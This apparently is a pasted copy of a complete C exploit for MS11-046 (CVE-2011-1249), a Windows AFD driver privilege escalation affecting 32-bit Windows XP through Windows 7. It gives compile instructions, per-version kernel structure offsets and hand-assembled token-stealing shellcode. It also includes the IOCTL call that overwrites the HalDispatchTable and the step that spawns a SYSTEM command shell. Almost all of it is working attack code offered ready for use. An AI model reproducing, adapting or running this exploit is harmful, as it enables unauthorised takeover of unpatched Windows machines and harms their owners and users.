· 5 years ago · Feb 09, 2020, 12:40 AM
1/*
2################################################################
3# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)
4# Date: 2016-10-16
5# Exploit Author: Tomislav Paskalev
6# Vulnerable Software:
7# Windows XP SP3 x86
8# Windows XP Pro SP2 x64
9# Windows Server 2003 SP2 x86
10# Windows Server 2003 SP2 x64
11# Windows Server 2003 SP2 Itanium-based Systems
12# Windows Vista SP1 x86
13# Windows Vista SP2 x86
14# Windows Vista SP1 x64
15# Windows Vista SP2 x64
16# Windows Server 2008 x86
17# Windows Server 2008 SP2 x86
18# Windows Server 2008 x64
19# Windows Server 2008 SP2 x64
20# Windows Server 2008 Itanium-based Systems
21# Windows Server 2008 SP2 Itanium-based Systems
22# Windows 7 x86
23# Windows 7 SP1 x86
24# Windows 7 x64
25# Windows 7 SP1 x64
26# Windows Server 2008 R2 x64
27# Windows Server 2008 R2 SP1 x64
28# Windows Server 2008 R2 Itanium-based Systems
29# Windows Server 2008 R2 SP1 Itanium-based Systems
30# Supported Vulnerable Software:
31# Windows XP SP3 x86
32# Windows Server 2003 SP2 x86
33# Windows Vista SP1 x86
34# Windows Vista SP2 x86
35# Windows Server 2008 x86
36# Windows Server 2008 SP2 x86
37# Windows 7 x86
38# Windows 7 SP1 x86
39# Tested Software:
40# Windows XP Pro SP3 x86 EN [5.1.2600]
41# Windows Server 2003 Ent SP2 EN [5.2.3790]
42# Windows Vista Ult SP1 x86 EN [6.0.6001]
43# Windows Vista Ult SP2 x86 EN [6.0.6002]
44# Windows Server 2008 Dat SP1 x86 EN [6.0.6001]
45# Windows Server 2008 Ent SP2 x86 EN [6.0.6002]
46# Windows 7 HB x86 EN [6.1.7600]
47# Windows 7 Ent SP1 x86 EN [6.1.7601]
48# CVE ID: 2011-1249
49################################################################
50# Vulnerability description:
51# The Ancillary Function Driver (AFD) supports Windows sockets
52# applications and is contained in the afd.sys file. The afd.sys
53# driver runs in kernel mode and manages the Winsock TCP/IP
54# communications protocol.
55# An elevation of privilege vulnerability exists where the AFD
56# improperly validates input passed from user mode to the kernel.
57# An attacker must have valid logon credentials and be able to
58# log on locally to exploit the vulnerability.
59# An attacker who successfully exploited this vulnerability could
60# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM
61# privileges).
62################################################################
63# Exploit notes:
64# Privileged shell execution:
65# - the SYSTEM shell will spawn within the invoking shell/process
66# Exploit compiling (Kali GNU/Linux Rolling 64-bit):
67# - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
68# Exploit prerequisites:
69# - low privilege access to the target OS
70# - target OS not patched (KB2503665, or any other related
71# patch, if applicable, not installed - check "Related security
72# vulnerabilities/patches")
73# Exploit test notes:
74# - let the target OS boot properly (if applicable)
75# - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset
76################################################################
77# Patches:
78# Windows XP SP3 x86
79# WindowsXP-KB2503665-x86-enu.exe
80# (not available - EoL)
81# Windows Server 2003 SP2 x86
82# WindowsServer2003-KB2503665-x86-enu.exe
83# https://www.microsoft.com/en-us/download/details.aspx?id=26483
84# Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86
85# Windows6.0-KB2503665-x86.msu
86# https://www.microsoft.com/en-us/download/details.aspx?id=26275
87# Windows 7 (SP0), SP1 x86
88# Windows6.1-KB2503665-x86.msu
89# https://www.microsoft.com/en-us/download/details.aspx?id=26311
90################################################################
91# Related security vulnerabilities/patches:
92# MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
93# MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx
94# MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx
95# MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx
96# MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
97#
98# Table of patch replacements:
99# | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 |
100# -------------------------------------------------------------
101# | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 |
102# -----------------------------------------------------------------------------------------
103# Windows x86 XP SP3 | Installed | <-Replaces| - | - | - |
104# Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces|
105# Windows x86 Vista SP1 | Installed | - | - | - | - |
106# Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces|
107# Windows x86 Server 2008 | Installed | - | - | - | - |
108# Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces|
109# Windows x86 7 | Installed | - | - | - | - |
110# Windows x86 7 SP1 | Installed | - | - | - | <-Replaces|
111################################################################
112# Thanks to:
113# azy (XP, 2k3 exploit)
114# Rahul Sasi (PoC)
115################################################################
116# References:
117# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249
118# https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
119# http://web.qhwins.com/Security/2012021712023641874126.html
120# https://www.exploit-db.com/exploits/18755/
121################################################################
122*/
123
124
125#include <winsock2.h>
126#include <windows.h>
127#include <stdio.h>
128#include <ws2tcpip.h>
129
130#pragma comment (lib, "ws2_32.lib")
131
132
133////////////////////////////////////////////////////////////////
134// DEFINE DATA TYPES
135////////////////////////////////////////////////////////////////
136
137typedef enum _KPROFILE_SOURCE {
138 ProfileTime,
139 ProfileAlignmentFixup,
140 ProfileTotalIssues,
141 ProfilePipelineDry,
142 ProfileLoadInstructions,
143 ProfilePipelineFrozen,
144 ProfileBranchInstructions,
145 ProfileTotalNonissues,
146 ProfileDcacheMisses,
147 ProfileIcacheMisses,
148 ProfileCacheMisses,
149 ProfileBranchMispredictions,
150 ProfileStoreInstructions,
151 ProfileFpInstructions,
152 ProfileIntegerInstructions,
153 Profile2Issue,
154 Profile3Issue,
155 Profile4Issue,
156 ProfileSpecialInstructions,
157 ProfileTotalCycles,
158 ProfileIcacheIssues,
159 ProfileDcacheAccesses,
160 ProfileMemoryBarrierCycles,
161 ProfileLoadLinkedIssues,
162 ProfileMaximum
163} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
164
165
166typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
167 KPROFILE_SOURCE ProfileSource,
168 PULONG Interval
169);
170
171
172typedef LONG NTSTATUS;
173
174
175typedef NTSTATUS (WINAPI *PNTALLOCATE) (
176 HANDLE ProcessHandle,
177 PVOID *BaseAddress,
178 ULONG ZeroBits,
179 PULONG RegionSize,
180 ULONG AllocationType,
181 ULONG Protect
182);
183
184
185typedef struct _IO_STATUS_BLOCK {
186 union {
187 NTSTATUS Status;
188 PVOID Pointer;
189 };
190 ULONG_PTR Information;
191} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
192
193
194typedef struct _SYSTEM_MODULE_INFORMATION {
195 ULONG Reserved[2];
196 PVOID Base;
197 ULONG Size;
198 ULONG Flags;
199 USHORT Index;
200 USHORT Unknown;
201 USHORT LoadCount;
202 USHORT ModuleNameOffset;
203 CHAR ImageName[256];
204} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
205
206
207typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
208
209
210////////////////////////////////////////////////////////////////
211// FUNCTIONS
212////////////////////////////////////////////////////////////////
213
214BOOL IsWow64()
215{
216 BOOL bIsWow64 = FALSE;
217 LPFN_ISWOW64PROCESS fnIsWow64Process;
218
219 fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");
220
221 if(NULL != fnIsWow64Process)
222 {
223 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx
224 if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
225 {
226 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
227 printf(" [-] Failed (error code: %d)\n", GetLastError());
228 return -1;
229 }
230 }
231 return bIsWow64;
232}
233
234
235////////////////////////////////////////////////////////////////
236// MAIN FUNCTION
237////////////////////////////////////////////////////////////////
238
239int main(void)
240{
241 printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n");
242 printf(" [*] by Tomislav Paskalev\n");
243
244
245 ////////////////////////////////////////////////////////////////
246 // IDENTIFY TARGET OS ARCHITECTURE AND VERSION
247 ////////////////////////////////////////////////////////////////
248
249 printf("[*] Identifying OS\n");
250
251
252 // identify target machine's OS architecture
253 // in case the target machine is running a 64-bit OS
254 if(IsWow64())
255 {
256 printf(" [-] 64-bit\n");
257 return -1;
258 }
259
260 printf(" [+] 32-bit\n");
261
262
263 // identify target machine's OS version
264 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx
265 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
266 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx
267 OSVERSIONINFOEX osvi;
268 ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
269 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
270 GetVersionEx((LPOSVERSIONINFO) &osvi);
271
272 // define operating system version specific variables
273 unsigned char shellcode_KPROCESS;
274 unsigned char shellcode_TOKEN;
275 unsigned char shellcode_UPID;
276 unsigned char shellcode_APLINKS;
277 const char **securityPatchesPtr;
278 int securityPatchesCount;
279 int lpInBufferSize;
280
281 ////////////////////////////////////////////////////////////////
282 /*
283 OS VERSION SPECIFIC OFFSETS
284
285 references:
286 http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm
287 http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm
288 http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm
289 http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/
290
291
292 - nt!_KTHREAD.ApcState.Process (+0x10)
293 0x30 (3.51);
294 0x34 (>3.51 to 5.1);
295 0x28 (late 5.2);
296 0x38 (6.0);
297 0x40 (6.1);
298 0x70 (6.2 and higher)
299
300 - nt!_EPROCESS.Token
301 0x0108 (3.51 to 4.0);
302 0x012C (5.0);
303 0xC8 (5.1 to early 5.2);
304 0xD8 (late 5.2);
305 0xE0 (6.0);
306 0xF8 (6.1);
307 0xEC (6.2 to 6.3);
308 0xF4
309
310 - nt!_EPROCESS.UniqueProcessId
311 0x94 (3.51 to 4.0);
312 0x9C (5.0);
313 0x84 (5.1 to early 5.2);
314 0x94 (late 5.2);
315 0x9C (6.0);
316 0xB4
317
318 - nt!_EPROCESS.ActiveProcessLinks.Flink
319 0x98 (3.51 to 4.0);
320 0xA0 (5.0);
321 0x88 (5.1 to early 5.2);
322 0x98 (late 5.2);
323 0xA0 (6.0);
324 0xB8
325
326 */
327 ////////////////////////////////////////////////////////////////
328
329 // in case the OS version is 5.1, service pack 3
330 if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
331 {
332 // the target machine's OS is Windows XP SP3
333 printf(" [+] Windows XP SP3\n");
334 shellcode_KPROCESS = '\x44';
335 shellcode_TOKEN = '\xC8';
336 shellcode_UPID = '\x84';
337 shellcode_APLINKS = '\x88';
338 const char *securityPatches[] = {"KB2503665", "KB2592799"};
339 securityPatchesPtr = securityPatches;
340 securityPatchesCount = 2;
341 lpInBufferSize = 0x30;
342 }
343
344 // in case the OS version is 5.2, service pack 2, not R2
345 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx
346 else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))
347 {
348 // the target machine's OS is Windows Server 2003 SP2
349 printf(" [+] Windows Server 2003 SP2\n");
350 shellcode_KPROCESS = '\x38';
351 shellcode_TOKEN = '\xD8';
352 shellcode_UPID = '\x94';
353 shellcode_APLINKS = '\x98';
354 const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"};
355 securityPatchesPtr = securityPatches;
356 securityPatchesCount = 4;
357 lpInBufferSize = 0x30;
358 }
359
360 // in case the OS version is 6.0, service pack 1, workstation
361 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1))
362 {
363 // the target machine's OS is Windows Vista SP1
364 printf(" [+] Windows Vista SP1\n");
365 shellcode_KPROCESS = '\x48';
366 shellcode_TOKEN = '\xE0';
367 shellcode_UPID = '\x9C';
368 shellcode_APLINKS = '\xA0';
369 const char *securityPatches[] = {"KB2503665"};
370 securityPatchesPtr = securityPatches;
371 securityPatchesCount = 1;
372 lpInBufferSize = 0x30;
373 }
374
375 // in case the OS version is 6.0, service pack 2, workstation
376 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1))
377 {
378 // the target machine's OS is Windows Vista SP2
379 printf(" [+] Windows Vista SP2\n");
380 shellcode_KPROCESS = '\x48';
381 shellcode_TOKEN = '\xE0';
382 shellcode_UPID = '\x9C';
383 shellcode_APLINKS = '\xA0';
384 const char *securityPatches[] = {"KB2503665", "KB2975684"};
385 securityPatchesPtr = securityPatches;
386 securityPatchesCount = 2;
387 lpInBufferSize = 0x10;
388 }
389
390 // in case the OS version is 6.0, no service pack*, server
391 // *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1;
392 // accordingly, the first service pack is called Service Pack 2.
393 // https://en.wikipedia.org/wiki/Windows_Server_2008
394 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1))
395 {
396 // the target machine's OS is Windows Server 2008
397 printf(" [+] Windows Server 2008\n");
398 shellcode_KPROCESS = '\x48';
399 shellcode_TOKEN = '\xE0';
400 shellcode_UPID = '\x9C';
401 shellcode_APLINKS = '\xA0';
402 const char *securityPatches[] = {"KB2503665"};
403 securityPatchesPtr = securityPatches;
404 securityPatchesCount = 1;
405 lpInBufferSize = 0x10;
406 }
407
408 // in case the OS version is 6.0, service pack 2, server
409 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))
410 {
411 // the target machine's OS is Windows Server 2008 SP2
412 printf(" [+] Windows Server 2008 SP2\n");
413 shellcode_KPROCESS = '\x48';
414 shellcode_TOKEN = '\xE0';
415 shellcode_UPID = '\x9C';
416 shellcode_APLINKS = '\xA0';
417 const char *securityPatches[] = {"KB2503665", "KB2975684"};
418 securityPatchesPtr = securityPatches;
419 securityPatchesCount = 2;
420 lpInBufferSize = 0x08;
421 }
422
423 // in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only)
424 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))
425 {
426 // the target machine's OS is Windows 7
427 printf(" [+] Windows 7\n");
428 shellcode_KPROCESS = '\x50';
429 shellcode_TOKEN = '\xF8';
430 shellcode_UPID = '\xB4';
431 shellcode_APLINKS = '\xB8';
432 const char *securityPatches[] = {"KB2503665"};
433 securityPatchesPtr = securityPatches;
434 securityPatchesCount = 1;
435 lpInBufferSize = 0x20;
436 }
437
438 // in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only)
439 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))
440 {
441 // the target machine's OS is Windows 7 SP1
442 printf(" [+] Windows 7 SP1\n");
443 shellcode_KPROCESS = '\x50';
444 shellcode_TOKEN = '\xF8';
445 shellcode_UPID = '\xB4';
446 shellcode_APLINKS = '\xB8';
447 const char *securityPatches[] = {"KB2503665", "KB2975684"};
448 securityPatchesPtr = securityPatches;
449 securityPatchesCount = 2;
450 lpInBufferSize = 0x10;
451 }
452
453 // in case the OS version is not any of the previously checked versions
454 else
455 {
456 // the target machine's OS is an unsupported 32-bit Windows version
457 printf(" [-] Unsupported version\n");
458 printf(" [*] Affected 32-bit operating systems\n");
459 printf(" [*] Windows XP SP3\n");
460 printf(" [*] Windows Server 2003 SP2\n");
461 printf(" [*] Windows Vista SP1\n");
462 printf(" [*] Windows Vista SP2\n");
463 printf(" [*] Windows Server 2008\n");
464 printf(" [*] Windows Server 2008 SP2\n");
465 printf(" [*] Windows 7\n");
466 printf(" [*] Windows 7 SP1\n");
467 return -1;
468 }
469
470
471 ////////////////////////////////////////////////////////////////
472 // LOCATE REQUIRED OS COMPONENTS
473 ////////////////////////////////////////////////////////////////
474
475 printf("[*] Locating required OS components\n");
476
477
478 // retrieve system information
479 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
480 // locate "ZwQuerySystemInformation" in the "ntdll.dll" module
481 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
482 FARPROC ZwQuerySystemInformation;
483 ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
484
485 // 11 = SystemModuleInformation
486 // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm
487 ULONG systemInformation;
488 ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);
489
490 // allocate memory for the list of loaded modules
491 ULONG *systemInformationBuffer;
492 systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));
493
494 if(!systemInformationBuffer)
495 {
496 printf(" [-] Could not allocate memory");
497 return -1;
498 }
499
500
501 // retrieve the list of loaded modules
502 ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);
503
504 // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules
505 ULONG i;
506 PVOID targetKrnlMdlBaseAddr;
507 HMODULE targetKrnlMdlUsrSpcOffs;
508 BOOL foundModule = FALSE;
509 PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
510 loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);
511
512 for(i = 0; i < *systemInformationBuffer; i++)
513 {
514 if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))
515 {
516 printf(" [+] ntkrnlpa.exe\n");
517 targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);
518 targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
519 foundModule = TRUE;
520 break;
521 }
522 else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))
523 {
524 printf(" [+] ntoskrnl.exe\n");
525 targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);
526 targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
527 foundModule = TRUE;
528 break;
529 }
530 }
531
532 // base address of the loaded module (kernel space)
533 printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr);
534
535 // offset address (relative to the parent process) of the loaded module (user space)
536 printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs);
537
538 if(!foundModule)
539 {
540 printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");
541 return -1;
542 }
543
544 // free allocated buffer space
545 free(systemInformationBuffer);
546
547
548 // determine the address of the "HalDispatchTable" process (kernel space)
549 // locate the offset fo the "HalDispatchTable" process within the target module (user space)
550 ULONG_PTR HalDispatchTableUsrSpcOffs;
551 HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");
552
553 if(!HalDispatchTableUsrSpcOffs)
554 {
555 printf(" [-] Could not find HalDispatchTable\n");
556 return -1;
557 }
558
559 printf(" [+] HalDispatchTable\n");
560 printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs);
561
562 // calculate the address of "HalDispatchTable" in kernel space
563 // 1. identify the base address of the target module in kernel space
564 // 2. previous step's result [minus] the load address of the same module in user space
565 // 3. previous step's result [plus] the address of "HalDispatchTable" in user space
566 // EQUIVALENT TO:
567 // 1. determine RVA of HalDispatchTable
568 // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.
569 // 2. previous step's result [plus] base address of target module in kernel space
570 ULONG_PTR HalDispatchTableKrnlSpcAddr;
571 HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
572 HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;
573
574
575 // locate "NtQueryIntervalProfile" in the "ntdll.dll" module
576 PNTQUERYINTERVAL NtQueryIntervalProfile;
577 NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
578
579 if(!NtQueryIntervalProfile)
580 {
581 printf(" [-] Could not find NtQueryIntervalProfile\n");
582 return -1;
583 }
584
585 printf(" [+] NtQueryIntervalProfile\n");
586 printf(" [*] Address: %#010x\n", NtQueryIntervalProfile);
587
588
589 // locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module
590 // https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx
591 FARPROC ZwDeviceIoControlFile;
592 ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile");
593
594 if(!ZwDeviceIoControlFile)
595 {
596 printf(" [-] Could not find ZwDeviceIoControlFile\n");
597 return -1;
598 }
599
600 printf(" [+] ZwDeviceIoControlFile\n");
601 printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile);
602
603
604 ////////////////////////////////////////////////////////////////
605 // SETUP EXPLOITATION PREREQUISITE
606 ////////////////////////////////////////////////////////////////
607
608 printf("[*] Setting up exploitation prerequisite\n");
609
610
611 // initialize Winsock DLL
612 printf (" [*] Initialising Winsock DLL\n");
613 WORD wVersionRequested;
614 WSADATA wsaData;
615 int wsaStartupErrorCode;
616
617 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx
618 wVersionRequested = MAKEWORD(2, 2);
619
620 // initiate the use of the Winsock DLL
621 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx
622 wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);
623
624 if(wsaStartupErrorCode != 0)
625 {
626 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
627 printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode);
628 return -1;
629 }
630
631 printf(" [+] Done\n");
632
633
634 // create socket
635 printf(" [*] Creating socket\n");
636 SOCKET targetDeviceSocket = INVALID_SOCKET;
637
638 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx
639 targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
640
641 if(targetDeviceSocket == INVALID_SOCKET)
642 {
643 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
644 printf(" [-] Failed (error code: %ld)\n", WSAGetLastError());
645 return -1;
646 }
647
648 printf(" [+] Done\n");
649
650
651 // connect to a closed port
652 // connect to port 0 on the local machine
653 struct sockaddr_in clientService;
654 clientService.sin_family = AF_INET;
655 clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
656 clientService.sin_port = htons(0);
657
658 printf(" [*] Connecting to closed port\n");
659 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx
660 int connectResult;
661 connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));
662 if (connectResult == 0)
663 {
664 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
665 printf (" [-] Connected (error code: %ld)\n", WSAGetLastError());
666 return -1;
667 }
668
669 printf(" [+] Done\n");
670
671
672 ////////////////////////////////////////////////////////////////
673 // CREATE TOKEN STEALING SHELLCODE
674 ////////////////////////////////////////////////////////////////
675
676 printf("[*] Creating token stealing shellcode\n");
677
678
679 // construct the token stealing shellcode
680 unsigned char shellcode[] =
681 {
682 0x52, // PUSH EDX Save EDX on the stack (save context)
683 0x53, // PUSH EBX Save EBX on the stack (save context)
684 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)
685 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure
686 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure
687 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX
688 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN
689 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
690 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks
691 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)
692 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal
693 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX
694 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX
695 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN
696 0x5B, // POP EBX Pop current stack value to EBX (restore context)
697 0x5A, // POP EDX Pop current stack value to EDX (restore context)
698 0xC2,0x08 // RET 8 Return
699 };
700
701 printf(" [*] Shellcode assembled\n");
702
703
704 // allocate memory (RWE permissions) for the shellcode
705 printf(" [*] Allocating memory\n");
706 LPVOID shellcodeAddress;
707 shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
708 int errorCode = 0;
709
710 if(shellcodeAddress == NULL)
711 {
712 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
713 errorCode = GetLastError();
714 // in case of ERROR_INVALID_ADDRESS
715 if(errorCode == 487)
716 {
717 // Attempt to access invalid address
718 // occurs since a fixed address is being reserved
719 // http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex
720 printf(" [!] Could not reserve entire range\n");
721 printf(" [*] Rerun exploit\n");
722 }
723 // in case of any other error
724 else
725 printf(" [-] Failed (error code: %d)\n", errorCode);
726 return -1;
727 }
728
729 printf(" [+] Address: %#010x\n", shellcodeAddress);
730
731
732 // copy the shellcode to the allocated memory
733 memset(shellcodeAddress, 0x90, 0x20000);
734 memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));
735 printf(" [*] Shellcode copied\n");
736
737
738 ////////////////////////////////////////////////////////////////
739 // EXPLOIT THE VULNERABILITY
740 ////////////////////////////////////////////////////////////////
741
742 printf("[*] Exploiting vulnerability\n");
743
744
745 // send AFD socket connect request
746 printf(" [*] Sending AFD socket connect request\n");
747 DWORD lpInBuffer[lpInBufferSize];
748 memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));
749
750 lpInBuffer[3] = 0x01;
751 lpInBuffer[4] = 0x20;
752 ULONG lpBytesReturned = 0;
753
754 if(DeviceIoControl(
755 (HANDLE) targetDeviceSocket,
756 0x00012007, // IOCTL_AFD_CONNECT
757 (PVOID) lpInBuffer, sizeof(lpInBuffer),
758 (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,
759 &lpBytesReturned, NULL
760 ) == 0)
761 {
762 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
763 errorCode = GetLastError();
764 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
765 // in case of ERROR_INVALID_NETNAME
766 if(errorCode == 1214)
767 {
768 // AFD socket connect request successful
769 printf(" [+] Done\n");
770 }
771 // in case of ERROR_NOACCESS
772 else if(errorCode == 998)
773 {
774 // AFD socket connect request unsuccessful - target is patched
775 printf(" [!] Target patched\n");
776 printf(" [*] Possible security patches\n");
777 for(i = 0; i < securityPatchesCount; i++)
778 printf(" [*] %s\n", securityPatchesPtr[i]);
779 return -1;
780 }
781 // in case of any other error message
782 else
783 {
784 // print the error code
785 printf(" [-] Failed (error code: %d)\n", errorCode);
786 return -1;
787 }
788 }
789
790
791 // elevate privileges of the current process
792 printf(" [*] Elevating privileges to SYSTEM\n");
793 ULONG outInterval = 0;
794 // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html
795 NtQueryIntervalProfile(2, &outInterval);
796 printf(" [+] Done\n");
797
798
799 // spawn shell (with elevated privileges)
800 printf(" [*] Spawning shell\n");
801 // spawn SYSTEM shell within the current shell (remote shell friendly)
802 system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");
803
804 // clean up and exit
805 printf("\n[*] Exiting SYSTEM shell\n");
806 WSACleanup();
807 return 1;
808}
809
810// EoF